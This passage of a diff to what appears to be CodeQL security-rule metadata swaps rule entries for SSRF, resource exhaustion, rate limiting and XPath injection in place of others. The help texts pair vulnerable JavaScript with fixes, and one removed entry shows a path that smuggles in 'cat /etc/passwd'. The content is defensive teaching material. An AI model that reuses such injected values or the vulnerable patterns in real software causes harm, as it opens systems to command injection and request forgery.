+            "tags" : [ "security", "external/cwe/cwe-643" ],
+            "description" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
+            "id" : "js/xpath-injection",
+            "kind" : "path-problem",
+            "name" : "XPath injection",
+            "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "7.5"
+            "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/insecure-dependency",
-          "name" : "js/insecure-dependency",
+          "id" : "js/request-forgery",
+          "name" : "js/request-forgery",
           "shortDescription" : {
-            "text" : "Dependency download using unencrypted communication channel"
+            "text" : "Server-side request forgery"
           },
           "fullDescription" : {
-            "text" : "Using unencrypted protocols to fetch dependencies can leave an application open to man-in-the-middle attacks."
+            "text" : "Making a network request with user-controlled data in the URL allows for request forgery attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n",
-            "markdown" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"
+            "text" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n",
+            "markdown" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-300", "external/cwe/cwe-319", "external/cwe/cwe-494", "external/cwe/cwe-829" ],
-            "description" : "Using unencrypted protocols to fetch dependencies can leave an application\n              open to man-in-the-middle attacks.",
-            "id" : "js/insecure-dependency",
-            "kind" : "problem",
-            "name" : "Dependency download using unencrypted communication channel",
+            "tags" : [ "security", "external/cwe/cwe-918" ],
+            "description" : "Making a network request with user-controlled data in the URL allows for request forgery attacks.",
+            "id" : "js/request-forgery",
+            "kind" : "path-problem",
+            "name" : "Server-side request forgery",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "8.1"
+            "problem.severity" : "error",
+            "security-severity" : "9.1"
           }
         }, {
-          "id" : "js/unvalidated-dynamic-method-call",
-          "name" : "js/unvalidated-dynamic-method-call",
+          "id" : "js/resource-exhaustion",
+          "name" : "js/resource-exhaustion",
           "shortDescription" : {
-            "text" : "Unvalidated dynamic method call"
+            "text" : "Resource exhaustion"
           },
           "fullDescription" : {
-            "text" : "Calling a method with a user-controlled name may dispatch to an unexpected target, which could cause an exception."
+            "text" : "Allocating objects or timers with user-controlled sizes or durations can cause resource exhaustion."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n",
-            "markdown" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  let action = actions[req.params.action];\n  // BAD: `action` may not be a function\n  res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n  // ...\n});\nactions.set(\"pause\", function pause(data) {\n  // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.has(req.params.action)) {\n    if (typeof actions.get(req.params.action) === 'function'){\n      let action = actions.get(req.params.action);\n    }\n    // GOOD: `action` is either the `play` or the `pause` function from above\n    res.end(action(req.params.payload));\n  } else {\n    res.end(\"Unsupported action.\");\n  }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n  play(data) {\n    // ...\n  },\n  pause(data) {\n    // ...\n  }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n  if (actions.hasOwnProperty(req.params.action)) {\n    let action = actions[req.params.action];\n    if (typeof action === 'function') {\n      // GOOD: `action` is an own method of `actions`\n      res.end(action(req.params.payload));\n      return;\n    }\n  }\n  res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n"
+            "text" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n",
+            "markdown" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n    url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-754" ],
-            "description" : "Calling a method with a user-controlled name may dispatch to\n              an unexpected target, which could cause an exception.",
-            "id" : "js/unvalidated-dynamic-method-call",
+            "tags" : [ "security", "external/cwe/cwe-400", "external/cwe/cwe-770" ],
+            "description" : "Allocating objects or timers with user-controlled\n              sizes or durations can cause resource exhaustion.",
+            "id" : "js/resource-exhaustion",
             "kind" : "path-problem",
-            "name" : "Unvalidated dynamic method call",
+            "name" : "Resource exhaustion",
             "precision" : "high",
             "problem.severity" : "warning",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/shell-command-injection-from-environment",
-          "name" : "js/shell-command-injection-from-environment",
+          "id" : "js/missing-rate-limiting",
+          "name" : "js/missing-rate-limiting",
           "shortDescription" : {
-            "text" : "Shell command built from environment values"
+            "text" : "Missing rate limiting"
           },
           "fullDescription" : {
-            "text" : "Building a shell command string with values from the enclosing environment may cause subtle bugs or vulnerabilities."
+            "text" : "An HTTP request handler that performs expensive operations without restricting the rate at which operations can be carried out is vulnerable to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
-            "markdown" : "# Shell command built from environment values\nDynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell.\n\nAlternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm -rf \" + path.join(__dirname, \"temp\");\n  cp.execSync(cmd); // BAD\n}\n\n```\nThe shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.\n\nFor instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process.\n\nEven worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n  path = require(\"path\");\nfunction cleanupTemp() {\n  let cmd = \"rm\",\n    args = [\"-rf\", path.join(__dirname, \"temp\")];\n  cp.execFileSync(cmd, args); // GOOD\n}\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
+            "text" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
